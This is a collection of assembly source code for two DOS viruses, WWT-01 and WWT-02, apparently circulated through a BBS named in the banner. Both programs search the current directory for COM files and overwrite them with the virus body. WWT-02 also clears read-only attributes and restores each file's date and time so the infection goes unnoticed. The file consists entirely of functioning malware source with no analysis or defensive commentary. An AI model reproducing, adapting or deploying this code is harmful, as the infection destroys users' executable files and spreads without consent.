; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,78 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ WWT-01 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 15-Mar-91 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_009E_e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
wwt-01 proc far
start:
mov dx,offset data_013D
mov ah,4Eh ; 'N'
mov cx,1
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jnc loc_010E ; Jump if carry=0
jmp short loc_012C
loc_010E:
mov dx,data_009E_e
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_011A ; Jump if carry=0
jmp short loc_012C
loc_011A:
mov bx,ax
call sub_012E
mov dx,80h
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_012A ; Jump if carry=0
jmp short loc_012C
loc_012A:
jmp short loc_010E
loc_012C:
int 20h ; DOS program terminate
wwt-01 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_012E proc near
mov dx,100h
mov ah,40h ; '@'
mov cx,43h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_012E endp
data_013D db 2Ah
db 2Eh, 43h, 4Fh, 4Dh, 00h
seg_a ends
end start
@@ -0,0 +1,73 @@
; Virus name WWT-02
; Description Attack any COM file in current directory
; Comment Don't change Date/Time, ignore ReadOnly
; Date 19 Dec 1990 15:30
; Place CICTT
;
mov dx,offset FileMask ; FileMask for any COM file
mov ah,4eh ; Find first file
mov cx,1 ; including attrib Archive
int 21h ; Call DOS
jnc Ok ; If no error -> go on
jmp short Exit ; If error -> exit program
Ok
call Infect ; Do infection
DoNext
mov dx,80h ; Set DS:DX to DTA
mov ah,4fh ; Find Next file
int 21h ; Call DOS
jnc NextOk ; If no error -> go on
jmp short Exit ; If error -> exit
NextOk
jmp short Ok ; Still next file exist
Exit
int 20h ; Exit to DOS
Infect
mov dx,9eh ; Set DS:DX to filename in DTA
mov ax,4300h ; Get file attribute
int 21h ; Call DOS
mov Attrib,cx ; Save attribute for later
xor cx,cx ; New attribute -> normal file
mov ax,4301h ; Set attribute
int 21h ; Call DOS
mov ax,3d02h ; Open file for Read/Write
int 21h ; Call DOS
jc Exit ; If error -> exit
mov bx,ax ; Save handle
mov ax,5700h ; Get file Date/Time
int 21h ; Call DOS
mov Date,dx ; Save date
mov Time,cx ; Save time
mov dx,100h ; DS:DX point to itself
mov ah,40h ; Write to handle
mov cx,offset VirusSize-100h ; Write only virus
int 21h ; Call DOS
mov ax,5701h ; Restore Date/Time
mov cx,Time ; Old time
mov dx,Date ; Old time
int 21h ; Call DOS
mov ah,3eh ; Close file
int 21h ; Call DOS
mov dx,9eh ; Set DS:DX to filename in DTA
mov cx,Attrib ; Restore attribute
mov ax,4301h ; Set file attribute
int 21h ; Call DOS
ret ; Return to caller
FileMask
db '*.COM',0 ; File mask for any COM file
Date
dw ?
Time
dw ?
Attrib
dw ?
VirusSize
db ? ; Used to calculate virus
; size